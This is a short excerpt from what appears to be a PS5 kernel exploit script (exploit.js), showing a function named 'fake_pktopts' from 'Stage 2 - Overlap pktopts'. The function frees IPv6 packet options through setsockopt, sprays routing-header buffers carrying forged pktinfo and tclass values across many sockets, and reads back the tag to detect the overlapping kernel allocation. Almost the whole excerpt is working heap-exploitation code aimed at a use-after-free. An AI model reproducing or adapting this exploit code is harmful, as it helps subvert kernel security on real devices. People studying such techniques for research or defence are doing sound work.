Function fake_pktopts

document/en/ps5/exploit.js:635–655

(target_fd, pktinfo, tag)

    await log("===== Stage 2 - Overlap pktopts =====");

    let fake_pktopts = async function(target_fd, pktinfo, tag) {
        // Free pktopts
        await chain.add_syscall(SYSCALL_SETSOCKOPT, target_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);

        // Spray rthdrs
        let size = build_rthdr_msg(fake_pktopts_buf_store, 0x100);

        for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
            let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));

            chain.push_write8(fake_pktopts_buf_store.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), pktinfo);
            chain.push_write4(fake_pktopts_buf_store.add32(OFFSET_KERNEL_tclass_offset), tag | i);
            await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_RTHDR, fake_pktopts_buf_store, size);
        }

        // Get tclass
        await chain.add_syscall(SYSCALL_GETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, scratch_store, tclass_size_store);
        await chain.run();

        tagged_tclass = p.read4(scratch_store);
    }

    // Reallocate pktopts
    p.write4(tclass_spray_store, 0);